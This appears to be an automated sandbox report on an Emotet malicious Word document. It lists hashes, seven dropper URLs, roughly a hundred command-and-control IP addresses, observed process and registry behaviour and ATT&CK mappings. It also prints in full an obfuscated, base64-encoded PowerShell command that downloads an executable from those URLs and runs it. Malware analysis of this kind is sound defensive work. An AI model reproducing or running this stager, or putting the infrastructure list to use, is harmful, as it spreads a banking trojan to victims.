emotet | bc671ede4242e59e050fff534673dd447ebcdb084f7e7504d004ca446707d409

Analysis

max time kernel
141s
max time network
142s
platform
windows10_x64
resource
win10v200722
submitted
20/10/2020, 22:33

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General

Target
Payment status.doc
Size 175KB
Sample201020-lrmwddca5a
SHA256 bc671ede4242e59e050fff534673dd447ebcdb084f7e7504d004ca446707d409
MD5 37ec0396e0ccb38ff2d38cf860b475eb
SHA1 e21e3a40692d07a57691c59b34d298ee46277c8f
SHA512 e58493d397eeb45c5a20feb94fbcca3b82f15e540fc92d8fc09c74a9654fc9df61399f8f2ffa9e50d6261a9a1ecbf65131c8b697e7bde17042057002919c106c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://luofox.com/wp-admin/fpTWdJzQR/
exe.dropper
http://supplementhouse.net/tws-airpods/MTB/
exe.dropper
http://genyomalhas.com.br/PHPMailer/VjGT9xw6sS/
exe.dropper
http://brasilcacambas.com.br/F0xAutoConfig/Vh7GMuok0/
exe.dropper
http://datawyse.net/cgi-bin/GmZVCzJl/
exe.dropper
http://greensync.com.br/aspnet_clientOld/v/
exe.dropper
https://giacimenti.wine/wp-includes/RisF/

Extracted

Family

emotet

Botnet

Epoch3

5.2.246.108:80
91.121.87.90:8080
104.131.144.215:8080
188.226.165.170:8080
153.229.219.1:443
192.241.220.183:8080
41.76.213.144:8080
116.202.10.123:8080
178.33.167.120:8080
77.74.78.80:443
60.108.128.186:80
37.205.9.252:7080
119.92.77.17:80
109.206.139.119:80
185.63.32.149:80
190.85.46.52:7080
223.17.215.76:80
162.144.145.58:8080
139.59.61.215:443
179.5.118.12:80
37.187.100.220:7080
202.29.237.113:8080
2.58.16.86:8080
113.161.148.81:80
91.83.93.103:443
198.20.228.9:8080
118.243.83.70:80
172.96.190.154:8080
103.229.73.17:8080
47.154.85.229:80
120.51.34.254:80
143.95.101.72:8080
94.212.52.40:80
74.208.173.91:8080
50.116.78.109:8080
185.208.226.142:8080
110.37.224.243:80
91.213.106.100:8080
200.243.153.66:80
190.151.5.131:443
195.201.56.70:8080
116.91.240.96:80
188.40.170.197:80
177.130.51.198:80
45.239.204.100:80
126.126.139.26:443
118.33.121.37:80
85.75.49.113:80
113.203.238.130:80
82.78.179.117:443
78.186.65.230:80
139.59.12.63:8080
5.79.70.250:8080
75.127.14.170:8080
73.100.19.104:80
172.193.79.237:80
51.38.50.144:8080
190.194.12.132:80
43.255.175.197:80
125.200.20.233:80
41.185.29.128:8080
8.4.9.137:8080
79.133.6.236:8080
175.103.38.146:80
172.105.78.244:8080
36.91.44.183:80
213.165.178.214:80
188.166.220.180:7080
54.38.143.245:8080
212.198.71.39:80
121.117.147.153:443
88.247.58.26:80
109.13.179.195:80
113.193.239.51:443
103.80.51.61:8080
86.123.55.0:80
180.21.3.52:80
190.192.39.136:80
203.56.191.129:8080
91.75.75.46:80
185.142.236.163:443
190.55.186.229:80
157.7.164.178:8081
190.117.101.56:80
185.80.172.199:80
73.55.128.120:80
180.23.53.200:80
46.105.131.68:8080
95.76.142.243:80
37.46.129.215:8080
180.148.4.130:8080
192.163.221.191:8080
190.164.135.81:80
103.93.220.182:80
123.216.134.52:80
203.153.216.178:7080
58.27.215.3:8080
42.200.96.63:80
115.79.195.246:80
46.32.229.152:8080
115.79.59.157:80
192.210.217.94:8080
221.147.142.214:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	196	3680	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1332-13-0x0000000002120000-0x0000000002139000-memory.dmp	emotet
behavioral2/memory/1332-14-0x0000000002140000-0x0000000002158000-memory.dmp	emotet
behavioral2/memory/2156-17-0x0000000001F90000-0x0000000001FA9000-memory.dmp	emotet
behavioral2/memory/2156-18-0x0000000001FC0000-0x0000000001FD8000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
30	196	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1332	Xfe7a3xdc.exe
2156	cscdll.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\HoloShellRuntime\cscdll.exe	Xfe7a3xdc.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3952	WINWORD.EXE
3952	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
196	POwersheLL.exe
196	POwersheLL.exe
196	POwersheLL.exe
2156	cscdll.exe
2156	cscdll.exe
2156	cscdll.exe
2156	cscdll.exe
2156	cscdll.exe
2156	cscdll.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	196	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
3952	WINWORD.EXE
1332	Xfe7a3xdc.exe
2156	cscdll.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1332 wrote to memory of 2156	1332	Xfe7a3xdc.exe	82
PID 1332 wrote to memory of 2156	1332	Xfe7a3xdc.exe	82
PID 1332 wrote to memory of 2156	1332	Xfe7a3xdc.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Payment status.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3952

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABMADQAdgA9ACAAWwB0AHkAcABlAF0AKAAiAHsAMAB9AHsAMwB9AHsANQB9AHsANAB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAFkAcwBUACcALAAnAFkAJwAsACcAUgAnACwAJwBFAE0ALgAnACwAJwBPAC4ARABpAHIARQBDAFQATwAnACwAJwBJACcAKQAgADsAIABTAGUAdAAgACAAKAAiAFoANwAiACsAIgAyADAAIgApACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewAwAH0AewAxAH0AewAyAH0AewA2AH0AewAzAH0AewA4AH0AewA3AH0AewA1AH0AIgAtAGYAJwBFAE0ALgAnACwAJwBuAEUAdAAnACwAJwAuAFMARQByAFYAaQAnACwAJwBvAEkAJwAsACcAcwB5AFMAVAAnACwAJwBlAHIAJwAsACcAYwBFAHAAJwAsACcATQBBAG4AQQBHACcALAAnAE4AdAAnACkAIAAgACkAIAAgADsAIAAkAE8ANAAxAGMAeQA2ADcAPQAoACcAVQAnACsAJwBvAHkAJwArACgAJwBkAGEAJwArACcAZABzACcAKQApADsAJABMAGMAYgBsADUAcgA2AD0AJABIAF8AdQA4ADQAOQBfACAAKwAgAFsAYwBoAGEAcgBdACgAMQAgACsAIAAxACAAKwAgADIAMAAgACsAIAAxADAAIAArACAAMQAwACkAIAArACAAJABZADkAdQB2AHcAcQB3ADsAJABRAGYAMwBiADMAMwB1AD0AKAAnAE8AMQAnACsAKAAnAGEAegBfAGQAJwArACcAYQAnACkAKQA7ACAAIAAoAHYAQQByAEkAYQBiAEwARQAgACAAKAAiAGwANAAiACsAIgBWACIAKQAgACAALQB2AGEATAB1AEUAbwBuACkAOgA6ACIAQwBSAGUAYABBAFQAZQBEAEkAUgBFAGAAYwB0AG8AUgBZACIAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHsAMAB9AFQAcQBfADUAZAB5ACcAKwAnAGgAJwArACcAewAwAH0AJwArACgAJwBNADAAJwArACcAbAAxACcAKQArACcANQAnACsAJwB5AHEAewAwACcAKwAnAH0AJwApAC0AZgAgACAAWwBDAGgAQQBSAF0AOQAyACkAKQA7ACQATAAyAHAANQBlAHQAYwA9ACgAKAAnAFUAMAAnACsAJwBmACcAKQArACgAJwAyAGwAJwArACcAbAAnACkAKwAnAHkAJwApADsAIAAgACgAIABMAHMAIAAgACgAIgB2AGEAcgBpAGEAYgAiACsAIgBsAEUAOgBaACIAKwAiADcAMgAiACsAIgAwACIAKQApAC4AdgBBAEwAdQBlADoAOgAiAFMAZQBDAFUAcgBgAEkAYABUAHkAcABgAFIAbwBgAFQAbwBgAGMATwBsACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAMQAnACkAKwAnADIAJwApADsAJABVADgAcgA2AGwAcgA0AD0AKAAoACcATAB5ACcAKwAnAG0AZAA4AGsAJwApACsAJwAzACcAKQA7ACQASwBlADAAYgB0ADkAZgAgAD0AIAAoACgAJwBYACcAKwAnAGYAZQAnACkAKwAnADcAJwArACgAJwBhACcAKwAnADMAeABkAGMAJwApACkAOwAkAEYANAB4ADUAdgBqAGIAPQAoACcAWABkACcAKwAnAHgAJwArACgAJwBmAGMAXwAnACsAJwA5ACcAKQApADsAJABLAHEAZwBfADEAdABoAD0AKAAoACcAVgAnACsAJwBmAGgAJwApACsAJwA0AG0AJwArACcAYgBrACcAKQA7ACQAQQBlAGkAbABuADQAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBYACcAKwAoACcARABFAFQAJwArACcAcQAnACkAKwAnAF8ANQAnACsAJwBkACcAKwAoACcAeQBoAFgARABFAE0AJwArACcAMAAnACkAKwAoACcAbAAxADUAJwArACcAeQBxAFgARAAnACsAJwBFACcAKQApAC4AIgBSAGAARQBQAEwAQQBgAEMAZQAiACgAKABbAEMASABhAHIAXQA4ADgAKwBbAEMASABhAHIAXQA2ADgAKwBbAEMASABhAHIAXQA2ADkAKQAsAFsAUwB0AFIASQBuAEcAXQBbAEMASABhAHIAXQA5ADIAKQApACsAJABLAGUAMABiAHQAOQBmACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAVQBnAGoAXwA3AHcAYwA9ACgAKAAnAEIAaQBvACcAKwAnAHkAaAAnACkAKwAnADIAYwAnACkAOwAkAEMANwBrAG0ANQBjAF8APQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAYwBMAEkARQBuAHQAOwAkAFIAbAA3AGUAaAB4ADcAPQAoACcAaAAnACsAKAAnAHQAJwArACcAdABwAHMAOgAnACkAKwAnAC8ALwAnACsAJwBsAHUAJwArACcAbwBmACcAKwAnAG8AJwArACgAJwB4ACcAKwAnAC4AYwAnACsAJwBvAG0ALwB3ACcAKwAnAHAALQBhAGQAJwApACsAKAAnAG0AaQBuACcAKwAnAC8AZgBwAFQAJwApACsAKAAnAFcAJwArACcAZAAnACsAJwBKAHoAUQBSAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAKAAnAC8AJwArACcAcwB1ACcAKQArACcAcAAnACsAJwBwACcAKwAnAGwAZQAnACsAJwBtAGUAJwArACgAJwBuAHQAJwArACcAaAAnACkAKwAoACcAbwB1AHMAJwArACcAZQAnACkAKwAoACcALgAnACsAJwBuAGUAJwApACsAKAAnAHQAJwArACcALwB0AHcAJwApACsAKAAnAHMALQBhACcAKwAnAGkAJwApACsAKAAnAHIAcAAnACsAJwBvAGQAJwArACcAcwAvAE0AVABCAC8AKgAnACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBnACcAKwAnAGUAbgAnACkAKwAoACcAeQBvAG0AYQAnACsAJwBsACcAKQArACcAaAAnACsAJwBhAHMAJwArACcALgAnACsAJwBjACcAKwAnAG8AJwArACgAJwBtACcAKwAnAC4AYgByAC8AJwArACcAUABIAFAAJwApACsAKAAnAE0AJwArACcAYQBpAGwAZQAnACkAKwAoACcAcgAvACcAKwAnAFYAJwApACsAJwBqACcAKwAoACcARwAnACsAJwBUADkAJwApACsAJwB4ACcAKwAnAHcAJwArACcANgAnACsAJwBzACcAKwAoACcAUwAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAnACsAJwAvAGIAJwArACgAJwByAGEAJwArACcAcwAnACkAKwAnAGkAbAAnACsAKAAnAGMAYQAnACsAJwBjAGEAbQBiAGEAcwAuACcAKwAnAGMAbwAnACsAJwBtAC4AYgAnACkAKwAoACcAcgAnACsAJwAvAEYAMAB4ACcAKwAnAEEAdQB0AG8AJwApACsAKAAnAEMAbwBuACcAKwAnAGYAaQBnACcAKQArACcALwAnACsAKAAnAFYAaAA3AEcAJwArACcATQAnACsAJwB1ACcAKQArACgAJwBvAGsAJwArACcAMAAvACcAKQArACgAJwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwADoALwAvACcAKwAnAGQAJwApACsAJwBhACcAKwAoACcAdABhACcAKwAnAHcAJwArACcAeQBzAGUALgBuAGUAdAAvAGMAZwAnACkAKwAnAGkALQAnACsAJwBiACcAKwAnAGkAbgAnACsAJwAvACcAKwAoACcARwBtACcAKwAnAFoAJwApACsAJwBWAEMAJwArACcAegAnACsAKAAnAEoAbAAnACsAJwAvACcAKQArACcAKgAnACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAnACkAKwAnAC8AJwArACgAJwAvAGcAJwArACcAcgAnACkAKwAnAGUAJwArACgAJwBlACcAKwAnAG4AcwB5AG4AYwAnACsAJwAuAGMAJwArACcAbwBtAC4AYgByACcAKQArACgAJwAvAGEAcwAnACsAJwBwACcAKwAnAG4AZQB0AF8AJwArACcAYwBsAGkAZQBuAHQATwAnACkAKwAoACcAbABkAC8AdgAvACoAJwArACcAaAAnACkAKwAnAHQAdAAnACsAJwBwACcAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwBnACcAKQArACcAaQAnACsAKAAnAGEAYwAnACsAJwBpACcAKQArACcAbQBlACcAKwAoACcAbgB0AGkAJwArACcALgB3AGkAbgBlACcAKwAnAC8AJwArACcAdwAnACsAJwBwAC0AaQAnACkAKwAoACcAbgBjACcAKwAnAGwAdQBkACcAKQArACcAZQAnACsAJwBzACcAKwAoACcALwBSAGkAJwArACcAcwBGAC8AJwApACkALgAiAHMAcABsAGAAaQB0ACIAKAAkAFkAZABuAGcAOABkAHEAIAArACAAJABMAGMAYgBsADUAcgA2ACAAKwAgACQAUABsADAAcABjAGkAbQApADsAJABWAGoAbwA4ADEAMABiAD0AKAAnAEoAJwArACcAZAAnACsAKAAnADgAcgBmAHQAJwArACcAZQAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARgAwADUAYwBmAGIAbwAgAGkAbgAgACQAUgBsADcAZQBoAHgANwApAHsAdAByAHkAewAkAEMANwBrAG0ANQBjAF8ALgAiAGQAYABvAHcATgBMAGAAbwBBAGQAZgBpAGAATABlACIAKAAkAEYAMAA1AGMAZgBiAG8ALAAgACQAQQBlAGkAbABuADQAMgApADsAJABDAGIANwBpAHkAZAByAD0AKAAoACcAVAB1ACcAKwAnAG8AJwApACsAKAAnAHUAJwArACcAeQB5AGIAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQQBlAGkAbABuADQAMgApAC4AIgBsAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADQANgA5ADEAMAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwAnACsAJwBpAG4AJwApACsAKAAnADMAJwArACcAMgBfAFAAJwApACsAJwByAG8AJwArACgAJwBjACcAKwAnAGUAcwBzACcAKQApACkALgAiAGMAcgBFAGEAYABUAEUAIgAoACQAQQBlAGkAbABuADQAMgApADsAJABOADYAOQBuAGcAcABfAD0AKAAoACcAUAA0ACcAKwAnADUAJwApACsAKAAnAGcAMAAnACsAJwB1AGQAJwApACkAOwBiAHIAZQBhAGsAOwAkAFcAbQBhAG0AZQBoADEAPQAoACgAJwBTAGYAJwArACcAZgB1ACcAKQArACgAJwByAGUAJwArACcAMQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgB2AHcAeQBnADEAOAA9ACgAKAAnAFgAZgAnACsAJwBkAGwAJwApACsAJwB5ACcAKwAnAHMAMwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:196

C:\Users\Admin\Tq_5dyh\M0l15yq\Xfe7a3xdc.exe
C:\Users\Admin\Tq_5dyh\M0l15yq\Xfe7a3xdc.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1332
- C:\Windows\SysWOW64\HoloShellRuntime\cscdll.exe
  "C:\Windows\SysWOW64\HoloShellRuntime\cscdll.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2156

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/196-9-0x000001D2E04F0000-0x000001D2E04F1000-memory.dmp

Download

memory/196-10-0x000001D2E06C0000-0x000001D2E06C1000-memory.dmp

Download

memory/196-8-0x00007FFE01960000-0x00007FFE0234C000-memory.dmp

Download

memory/1332-13-0x0000000002120000-0x0000000002139000-memory.dmp

Download

memory/1332-14-0x0000000002140000-0x0000000002158000-memory.dmp

Download

memory/2156-17-0x0000000001F90000-0x0000000001FA9000-memory.dmp

Download

memory/2156-18-0x0000000001FC0000-0x0000000001FD8000-memory.dmp

Download

memory/3952-0-0x00007FFE08D20000-0x00007FFE093E6000-memory.dmp

Download

memory/3952-3-0x00000282143D1000-0x00000282143D6000-memory.dmp

Download